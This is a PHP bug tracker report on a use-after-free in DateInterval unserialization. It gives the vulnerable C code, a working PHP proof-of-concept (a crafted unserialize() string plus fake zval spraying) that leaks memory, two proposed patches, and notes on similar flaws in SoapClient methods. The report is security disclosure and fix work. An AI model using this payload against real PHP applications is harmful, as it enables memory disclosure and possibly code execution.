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[2015-02-27 04:24 UTC] taoguangchen at icloud dot com
Description: ------------ In fact, the bug is similar to bug#68942, and i pointed out the bug at comments(https://bugs.php.net/bug.php?id=68942), but it has not been fixed in lastest PHP updates. static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC) { (*intobj)->diff = timelib_rel_time_ctor(); #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \ do { \ zval **z_arg = NULL; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ convert_to_long(*z_arg); \ (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \ } else { \ (*intobj)->diff->member = (itype)def; \ } \ } while (0); #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \ do { \ zval **z_arg = NULL; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ convert_to_string(*z_arg); \ DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \ } else { \ (*intobj)->diff->member = -1LL; \ } \ } while (0); ... } The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. The following code should leak arbitrary memory: <?php $fakezval = pack( 'IIII', 0x00100000, 0x00000400, 0x00000000, 0x00000006 ); $data = unserialize('a:2:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:0;i:1;i:1;}}i:1;R:4;}'); for($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); ?> PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
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Last updated: Fri Nov 22 22:01:30 2024 UTC |
The fix (for 5.4/5.5/5.6): --- a/ext/date/php_date.c +++ b/ext/date/php_date.c @@ -3669,8 +3669,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \ do { \ zval **z_arg = NULL; \ - if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ - convert_to_long(*z_arg); \ + if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_LONG) { \ (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \ } else { \ (*intobj)->diff->member = (itype)def; \ @@ -3680,8 +3679,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \ do { \ zval **z_arg = NULL; \ - if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ - convert_to_string(*z_arg); \ + if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_STRING) { \ DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \ } else { \ (*intobj)->diff->member = -1LL; \I update a new patch :) The fix (for 5.4/5.5/5.6): --- a/ext/date/php_date.c +++ b/ext/date/php_date.c @@ -4182,10 +4182,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \ do { \ - zval **z_arg = NULL; \ + zval **z_arg = NULL, tmp; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ - convert_to_long(*z_arg); \ - (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \ + tmp = **z_arg; \ + zval_copy_ctor(&tmp); \ + convert_to_long(&tmp); \ + (*intobj)->diff->member = (itype)Z_LVAL(tmp); \ + zval_dtor(&tmp); \ } else { \ (*intobj)->diff->member = (itype)def; \ } \ @@ -4193,10 +4196,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \ do { \ - zval **z_arg = NULL; \ + zval **z_arg = NULL, tmp; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ - convert_to_string(*z_arg); \ - DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \ + tmp = **z_arg; \ + zval_copy_ctor(&tmp); \ + convert_to_string(&tmp); \ + DATE_A64I((*intobj)->diff->member, Z_STRVAL(tmp)); \ + zval_dtor(&tmp); \ } else { \ (*intobj)->diff->member = -1LL; \ } \there are some similar bugs exists in other methods: SoapClient::__getLastRequest, SoapClient::__getLastResponse, SoapClient::__getLastRequestHeaders, SoapClient::__getLastResponseHeaders and etc. PHP_METHOD(SoapClient, __getLastRequest) { zval **tmp; if (zend_parse_parameters_none() == FAILURE) { return; } if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) { RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1); } RETURN_NULL(); }